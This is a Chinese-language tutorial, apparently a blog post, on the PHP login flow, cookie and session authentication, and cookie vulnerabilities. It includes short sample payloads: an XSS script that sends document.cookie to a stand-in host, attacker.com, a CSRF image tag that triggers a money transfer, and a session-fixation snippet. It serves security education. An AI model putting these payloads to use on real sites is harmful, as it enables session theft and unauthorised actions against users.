目录
跨站请求伪造(Cross-Site Request Forgery,CSRF)
PHP登录验证流程
1. 发送登录请求:账号,密码
用户通过登录页面的表单提交其账号和密码。
2. 接收账号密码
服务器接收到用户提交的表单数据,包括账号和密码。
3. 判断账号密码准确性
服务器对提交的账号和密码进行验证:
先从数据库中查询与提交的账号对应的记录。
如果记录存在,则对提交的密码和数据库中的密码进行比较(通常会对密码进行哈希处理以增强安全性)。
正确 -> 成功登录,跳转页面
如果账号和密码匹配,表示验证成功。
服务器创建一个会话(session)并将用户的信息存储在服务器端。
服务器将会话ID通过cookie发送到客户端浏览器。
用户被重定向到登录后的主页面。
失败 -> 跳转到重新登录页面
如果账号或密码不匹配,表示验证失败。
用户被重定向回登录页面,并可能显示一条错误消息。
4. 使用cookie或session进行身份验证
为了在用户登录后不需要重复验证操作,可以使用cookie或session来进行身份验证。
Cookie
Cookie用于在客户端浏览器中存储身份验证信息。
服务器在用户登录成功后,将会话ID存储在cookie中并发送给客户端浏览器。
客户端浏览器会在后续请求中自动发送这个cookie,以便服务器识别用户身份。
Session
Session用于在服务器端存储用户的身份验证信息。
在用户登录成功后,服务器创建一个会话并存储用户信息,如用户ID、用户名等。
服务器将会话ID通过cookie发送给客户端浏览器。
在后续请求中,客户端浏览器会发送这个cookie,服务器通过会话ID找到对应的用户信息,从而实现身份验证。
cookie的安全漏洞
会话劫持(Session Hijacking)
攻击者通过窃取用户的会话ID来冒充合法用户,通常的方法包括:
网络嗅探:在未加密的网络中监听并捕获用户的会话ID。使用HTTPS可以有效防止这种攻击。
恶意脚本:利用XSS漏洞注入恶意脚本,窃取用户的Cookie。
示例:XSS攻击窃取Cookie:
<script>
document.write('<img src="http://attacker.com/steal_cookie.php?cookie=' + document.cookie + '">');
</script>
跨站请求伪造(Cross-Site Request Forgery,CSRF)
攻击者诱使用户在已登录的情况下执行未经授权的操作。通常,攻击者会构造一个恶意链接或表单,当用户点击或提交时,用户的浏览器会携带合法的Cookie发起请求。
示例:CSRF攻击:
<img src="http://victim.com/transfer?amount=1000&to=attacker_account">
如果用户已登录并具有有效的会话,这个请求将使用用户的会话信息,完成攻击者意图的操作
Cookie固定(Session Fixation)
攻击者通过在用户登录前设置一个已知的会话ID,然后诱使用户使用这个会话ID进行登录。登录后,攻击者可以使用相同的会话ID来冒充用户
示例:攻击者首先访问应用并获取一个会话ID,然后将这个会话ID通过钓鱼链接或其他方式传递给用户:
<?php
session_start();
session_id('known_session_id');
?>
窃取Cookie:攻击者可以通过各种手段(如XSS攻击、会话劫持等)窃取用户的Cookie信息,包括用户的身份验证凭据。
篡改Cookie:攻击者可以修改Cookie的值,包括用户的身份标识、权限等。通过篡改Cookie,攻击者可以冒充其他用户的身份,执行未经授权的操作。
伪造Cookie:攻击者可以伪造一个新的Cookie,包含自己构造的内容。这种情况下,攻击者可以自由地设置Cookie的名称、值和其他属性,以达到欺骗、冒充或执行恶意操作的目的。